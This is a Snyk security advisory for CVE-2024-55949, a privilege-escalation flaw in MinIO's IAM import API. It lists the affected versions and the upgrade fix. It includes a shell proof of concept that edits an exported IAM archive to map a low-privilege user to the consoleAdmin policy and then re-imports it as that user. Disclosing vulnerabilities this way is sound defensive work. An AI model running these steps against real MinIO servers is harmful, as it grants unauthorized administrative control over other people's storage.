Improper Privilege Management Affecting github.com/minio/minio/cmd package, versions >=RELEASE.2022-06-25T15-50-16Z <RELEASE.2024-12-13T22-19-12Z


Severity

Recommended
0.0
high
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of concept
EPSS
0.05% (18th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk Learn

Learn about Improper Privilege Management vulnerabilities in an interactive lesson.

Start learning
  • Snyk IDSNYK-GOLANG-GITHUBCOMMINIOMINIOCMD-8516158
  • published17 Dec 2024
  • disclosed16 Dec 2024
  • creditUnknown

Introduced: 16 Dec 2024

NewCVE-2024-55949  (opens in a new tab)
CWE-269  (opens in a new tab)

How to fix?

Upgrade github.com/minio/minio/cmd to version RELEASE.2024-12-13T22-19-12Z or higher.

Overview

github.com/minio/minio/cmd is an open source object storage server compatible with Amazon S3 APIs.

Affected versions of this package are vulnerable to Improper Privilege Management via the IAM import API. An attacker can escalate privileges by manipulating API requests.

Note:

This is only exploitable if the attacker has access to authenticated API calls.

PoC

./minio server /tmp/d{1...4} &
mc alias set myminio http://localhost:9000 minioadmin minioadmin
mc admin user add myminio nobody nobody123
mc admin policy attach myminio readwrite nobody nobody123
mc alias set nobody http://localhost:9000 nobody nobody123

mc admin cluster iam export myminio
mkdir /tmp/x && mv myminio-iam-info.zip /tmp/x
cd /tmp/x
unzip myminio-iam-info.zip
echo '{"nobody":{"version":1,"policy":"consoleAdmin","updatedAt":"2024-08-13T19:47:10.1Z"}}' > \
      iam-assets/user_mappings.json
zip -r myminio-iam-info-updated.zip iam-assets/

mc admin cluster iam import nobody ./myminio-iam-info-updated.zip
mc admin service restart nobody

CVSS Scores

version 4.0
version 3.1